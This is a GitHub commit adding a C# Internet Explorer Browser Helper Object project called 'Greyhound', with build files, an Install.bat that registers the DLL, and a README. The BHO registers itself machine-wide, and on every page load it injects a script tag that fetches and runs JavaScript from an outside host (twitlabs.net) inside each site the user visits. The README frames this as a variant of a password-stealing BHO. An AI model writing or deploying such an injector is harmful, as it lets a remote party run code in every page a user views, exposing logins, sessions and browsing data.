Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
60 changed files
with
865 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Original file line | Diff line number | Diff line change |
---|---|---|---|
@@ -0,0 +1,30 @@ | |||
|
|||
Microsoft Visual Studio Solution File, Format Version 11.00 | |||
# Visual C# Express 2010 | |||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Greyhound", "Greyhound\Greyhound.csproj", "{21FC49D2-6DE6-4420-864F-15A5CD269178}" | |||
EndProject | |||
Global | |||
GlobalSection(SolutionConfigurationPlatforms) = preSolution | |||
Debug|Any CPU = Debug|Any CPU | |||
Debug|Mixed Platforms = Debug|Mixed Platforms | |||
Debug|x86 = Debug|x86 | |||
Release|Any CPU = Release|Any CPU | |||
Release|Mixed Platforms = Release|Mixed Platforms | |||
Release|x86 = Release|x86 | |||
EndGlobalSection | |||
GlobalSection(ProjectConfigurationPlatforms) = postSolution | |||
{21FC49D2-6DE6-4420-864F-15A5CD269178}.Debug|Any CPU.ActiveCfg = Debug|Any CPU | |||
{21FC49D2-6DE6-4420-864F-15A5CD269178}.Debug|Any CPU.Build.0 = Debug|Any CPU | |||
{21FC49D2-6DE6-4420-864F-15A5CD269178}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU | |||
{21FC49D2-6DE6-4420-864F-15A5CD269178}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU | |||
{21FC49D2-6DE6-4420-864F-15A5CD269178}.Debug|x86.ActiveCfg = Debug|Any CPU | |||
{21FC49D2-6DE6-4420-864F-15A5CD269178}.Release|Any CPU.ActiveCfg = Release|Any CPU | |||
{21FC49D2-6DE6-4420-864F-15A5CD269178}.Release|Any CPU.Build.0 = Release|Any CPU | |||
{21FC49D2-6DE6-4420-864F-15A5CD269178}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU | |||
{21FC49D2-6DE6-4420-864F-15A5CD269178}.Release|Mixed Platforms.Build.0 = Release|Any CPU | |||
{21FC49D2-6DE6-4420-864F-15A5CD269178}.Release|x86.ActiveCfg = Release|Any CPU | |||
EndGlobalSection | |||
GlobalSection(SolutionProperties) = preSolution | |||
HideSolutionNode = FALSE | |||
EndGlobalSection | |||
EndGlobal |
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Original file line | Diff line number | Diff line change |
---|---|---|---|
@@ -0,0 +1,91 @@ | |||
using System; | |||
using System.Collections.Generic; | |||
using System.Linq; | |||
using System.Text; | |||
using SHDocVw; | |||
using mshtml; | |||
using System.Runtime.InteropServices; | |||
using Microsoft.Win32; | |||
using System.Windows.Forms; | |||
|
|||
namespace Greyhound.BHO | |||
{ | |||
|
|||
[ | |||
ComVisible(true), | |||
Guid("8a194578-81ea-4850-9911-13ba2d71efbd"), | |||
ClassInterface(ClassInterfaceType.None) | |||
] | |||
|
|||
public class BHO:IObjectWithSite | |||
{ | |||
SHDocVw.WebBrowser webBrowser; | |||
|
|||
public static string BHOKEYNAME = | |||
"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects"; | |||
|
|||
[ComRegisterFunction] | |||
public static void RegisterBHO(Type type) | |||
{ | |||
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(BHOKEYNAME, true); | |||
|
|||
if (registryKey == null) | |||
registryKey = Registry.LocalMachine.CreateSubKey(BHOKEYNAME); | |||
|
|||
string guid = type.GUID.ToString("B"); | |||
RegistryKey ourKey = registryKey.OpenSubKey(guid); | |||
|
|||
if (ourKey == null) | |||
ourKey = registryKey.CreateSubKey(guid); | |||
|
|||
ourKey.SetValue("Alright", 1); | |||
registryKey.Close(); | |||
ourKey.Close(); | |||
} | |||
|
|||
[ComUnregisterFunction] | |||
public static void UnregisterBHO(Type type) | |||
{ | |||
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(BHOKEYNAME, true); | |||
string guid = type.GUID.ToString("B"); | |||
|
|||
if (registryKey != null) | |||
registryKey.DeleteSubKey(guid, false); | |||
} | |||
|
|||
public void OnDocumentComplete(object pDisp, ref object URL) | |||
{ | |||
IHTMLDocument2 doc = (IHTMLDocument2)webBrowser.Document; | |||
doc.parentWindow.execScript("var d=window.document,s=d.createElement('script'),h=d.getElementsByTagName('body')[0];s.src='http://twitlabs.net/sayhello.js.php';h.appendChild(s);"); | |||
} | |||
|
|||
public int SetSite(object site) | |||
{ | |||
if (site != null) | |||
{ | |||
webBrowser = (SHDocVw.WebBrowser)site; | |||
webBrowser.DocumentComplete += | |||
new DWebBrowserEvents2_DocumentCompleteEventHandler( | |||
this.OnDocumentComplete); | |||
} | |||
else | |||
{ | |||
webBrowser.DocumentComplete -= | |||
new DWebBrowserEvents2_DocumentCompleteEventHandler( | |||
this.OnDocumentComplete); | |||
webBrowser = null; | |||
} | |||
|
|||
return 0; | |||
} | |||
|
|||
public int GetSite(ref Guid guid, out IntPtr ppvSite) | |||
{ | |||
IntPtr punk = Marshal.GetIUnknownForObject(webBrowser); | |||
int hr = Marshal.QueryInterface(punk, ref guid, out ppvSite); | |||
Marshal.Release(punk); | |||
return hr; | |||
} | |||
|
|||
} | |||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Original file line | Diff line number | Diff line change |
---|---|---|---|
@@ -0,0 +1,21 @@ | |||
using System; | |||
using System.Collections.Generic; | |||
using System.Linq; | |||
using System.Text; | |||
using System.Runtime.InteropServices; | |||
|
|||
namespace Greyhound.BHO | |||
{ | |||
[ | |||
ComVisible(true), | |||
InterfaceType(ComInterfaceType.InterfaceIsIUnknown), | |||
Guid("FC4801A3-2BA9-11CF-A229-00AA003D7352") | |||
] | |||
public interface IObjectWithSite | |||
{ | |||
[PreserveSig] | |||
int SetSite([MarshalAs(UnmanagedType.IUnknown)]object site); | |||
[PreserveSig] | |||
int GetSite(ref Guid guid, out IntPtr ppvSite); | |||
} | |||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Original file line | Diff line number | Diff line change |
---|---|---|---|
@@ -0,0 +1,75 @@ | |||
<?xml version="1.0" encoding="utf-8"?> | |||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | |||
<PropertyGroup> | |||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration> | |||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform> | |||
<ProductVersion>8.0.30703</ProductVersion> | |||
<SchemaVersion>2.0</SchemaVersion> | |||
<ProjectGuid>{21FC49D2-6DE6-4420-864F-15A5CD269178}</ProjectGuid> | |||
<OutputType>Library</OutputType> | |||
<AppDesignerFolder>Properties</AppDesignerFolder> | |||
<RootNamespace>Greyhound</RootNamespace> | |||
<AssemblyName>Greyhound</AssemblyName> | |||
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion> | |||
<FileAlignment>512</FileAlignment> | |||
</PropertyGroup> | |||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' "> | |||
<DebugSymbols>true</DebugSymbols> | |||
<DebugType>full</DebugType> | |||
<Optimize>false</Optimize> | |||
<OutputPath>bin\Debug\</OutputPath> | |||
<DefineConstants>DEBUG;TRACE</DefineConstants> | |||
<ErrorReport>prompt</ErrorReport> | |||
<WarningLevel>4</WarningLevel> | |||
</PropertyGroup> | |||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "> | |||
<DebugType>pdbonly</DebugType> | |||
<Optimize>true</Optimize> | |||
<OutputPath>bin\Release\</OutputPath> | |||
<DefineConstants>TRACE</DefineConstants> | |||
<ErrorReport>prompt</ErrorReport> | |||
<WarningLevel>4</WarningLevel> | |||
</PropertyGroup> | |||
<ItemGroup> | |||
<Reference Include="Microsoft.mshtml, Version=7.0.3300.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"> | |||
<SpecificVersion>False</SpecificVersion> | |||
<EmbedInteropTypes>True</EmbedInteropTypes> | |||
<HintPath>.\Microsoft.mshtml.dll</HintPath> | |||
</Reference> | |||
<Reference Include="System" /> | |||
<Reference Include="System.Core" /> | |||
<Reference Include="System.Windows.Forms" /> | |||
<Reference Include="System.Xml.Linq" /> | |||
<Reference Include="System.Data.DataSetExtensions" /> | |||
<Reference Include="Microsoft.CSharp" /> | |||
<Reference Include="System.Data" /> | |||
<Reference Include="System.Xml" /> | |||
</ItemGroup> | |||
<ItemGroup> | |||
<Compile Include="BHO\BHO.cs" /> | |||
<Compile Include="BHO\IObjectWithSite.cs" /> | |||
<Compile Include="Properties\AssemblyInfo.cs" /> | |||
</ItemGroup> | |||
<ItemGroup> | |||
<COMReference Include="SHDocVw"> | |||
<Guid>{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}</Guid> | |||
<VersionMajor>1</VersionMajor> | |||
<VersionMinor>1</VersionMinor> | |||
<Lcid>0</Lcid> | |||
<WrapperTool>tlbimp</WrapperTool> | |||
<Isolated>False</Isolated> | |||
<EmbedInteropTypes>True</EmbedInteropTypes> | |||
</COMReference> | |||
</ItemGroup> | |||
<ItemGroup> | |||
<None Include="Install.bat" /> | |||
</ItemGroup> | |||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" /> | |||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it. | |||
Other similar extension points exist, see Microsoft.Common.targets. | |||
<Target Name="BeforeBuild"> | |||
</Target> | |||
<Target Name="AfterBuild"> | |||
</Target> | |||
--> | |||
</Project> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Original file line | Diff line number | Diff line change |
---|---|---|---|
@@ -0,0 +1,3 @@ | |||
<?xml version="1.0" encoding="utf-8"?> | |||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | |||
</Project> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Original file line | Diff line number | Diff line change |
---|---|---|---|
@@ -0,0 +1 @@ | |||
C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /codebase bin\Release\Greyhound.dll |
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Original file line | Diff line number | Diff line change |
---|---|---|---|
@@ -0,0 +1,36 @@ | |||
using System.Reflection; | |||
using System.Runtime.CompilerServices; | |||
using System.Runtime.InteropServices; | |||
|
|||
// General Information about an assembly is controlled through the following | |||
// set of attributes. Change these attribute values to modify the information | |||
// associated with an assembly. | |||
[assembly: AssemblyTitle("Greyhound")] | |||
[assembly: AssemblyDescription("")] | |||
[assembly: AssemblyConfiguration("")] | |||
[assembly: AssemblyCompany("")] | |||
[assembly: AssemblyProduct("Greyhound")] | |||
[assembly: AssemblyCopyright("Copyright © 2012")] | |||
[assembly: AssemblyTrademark("")] | |||
[assembly: AssemblyCulture("")] | |||
|
|||
// Setting ComVisible to false makes the types in this assembly not visible | |||
// to COM components. If you need to access a type in this assembly from | |||
// COM, set the ComVisible attribute to true on that type. | |||
[assembly: ComVisible(false)] | |||
|
|||
// The following GUID is for the ID of the typelib if this project is exposed to COM | |||
[assembly: Guid("dcbf91ca-edf7-46d1-a022-2e6f0e6cd597")] | |||
|
|||
// Version information for an assembly consists of the following four values: | |||
// | |||
// Major Version | |||
// Minor Version | |||
// Build Number | |||
// Revision | |||
// | |||
// You can specify all the values or you can default the Build and Revision Numbers | |||
// by using the '*' as shown below: | |||
// [assembly: AssemblyVersion("1.0.*")] | |||
[assembly: AssemblyVersion("1.0.0.0")] | |||
[assembly: AssemblyFileVersion("1.0.0.0")] |
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Original file line | Diff line number | Diff line change |
---|---|---|---|
@@ -0,0 +1,7 @@ | |||
C:\Documents and Settings\ashish\My Documents\Visual Studio 2010\Projects\Greyhound\Greyhound\bin\Debug\Greyhound.dll | |||
C:\Documents and Settings\ashish\My Documents\Visual Studio 2010\Projects\Greyhound\Greyhound\bin\Debug\Greyhound.pdb | |||
C:\Documents and Settings\ashish\My Documents\Visual Studio 2010\Projects\Greyhound\Greyhound\obj\Debug\ResolveAssemblyReference.cache | |||
C:\Documents and Settings\ashish\My Documents\Visual Studio 2010\Projects\Greyhound\Greyhound\obj\Debug\Interop.SHDocVw.dll | |||
C:\Documents and Settings\ashish\My Documents\Visual Studio 2010\Projects\Greyhound\Greyhound\obj\Debug\Greyhound.csproj.ResolveComReference.cache | |||
C:\Documents and Settings\ashish\My Documents\Visual Studio 2010\Projects\Greyhound\Greyhound\obj\Debug\Greyhound.dll | |||
C:\Documents and Settings\ashish\My Documents\Visual Studio 2010\Projects\Greyhound\Greyhound\obj\Debug\Greyhound.pdb |
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Original file line | Diff line number | Diff line change |
---|---|---|---|
@@ -0,0 +1,7 @@ | |||
C:\Documents and Settings\ashish\my documents\visual studio 2010\Projects\Greyhound\Greyhound\obj\Release\ResolveAssemblyReference.cache | |||
C:\Documents and Settings\ashish\my documents\visual studio 2010\Projects\Greyhound\Greyhound\obj\Release\Interop.SHDocVw.dll | |||
C:\Documents and Settings\ashish\my documents\visual studio 2010\Projects\Greyhound\Greyhound\obj\Release\Greyhound.csproj.ResolveComReference.cache | |||
C:\Documents and Settings\ashish\my documents\visual studio 2010\Projects\Greyhound\Greyhound\bin\Release\Greyhound.dll | |||
C:\Documents and Settings\ashish\my documents\visual studio 2010\Projects\Greyhound\Greyhound\bin\Release\Greyhound.pdb | |||
C:\Documents and Settings\ashish\my documents\visual studio 2010\Projects\Greyhound\Greyhound\obj\Release\Greyhound.dll | |||
C:\Documents and Settings\ashish\my documents\visual studio 2010\Projects\Greyhound\Greyhound\obj\Release\Greyhound.pdb |
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Original file line | Diff line number | Diff line change |
---|---|---|---|
@@ -1,2 +1,8 @@ | |||
ie-extension-skeleten | ie-extension-skeleten | ||
===================== | ===================== | ||
|
|||
This is a skeleton for a Browser Help Object (Internet Explorer Extension) written in C#. | |||
|
|||
It is based entirely off http://www.codeproject.com/Articles/19971/How-to-attach-to-Browser-Helper-Object-BHO-with-C | |||
|
|||
Except, instead of stealing your passwords it loads and executes an external Javascript file. |
Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Original file line | Diff line number | Diff line change |
---|---|---|---|
@@ -0,0 +1,19 @@ | |||
using System; | |||
using System.Collections.Generic; | |||
using System.ComponentModel; | |||
using System.Data; | |||
using System.Drawing; | |||
using System.Linq; | |||
using System.Text; | |||
using System.Windows.Forms; | |||
|
|||
namespace WindowsFormsApplication1 | |||
{ | |||
public partial class Form1 : Form | |||
{ | |||
public Form1() | |||
{ | |||
InitializeComponent(); | |||
} | |||
} | |||
} |
Oops, something went wrong.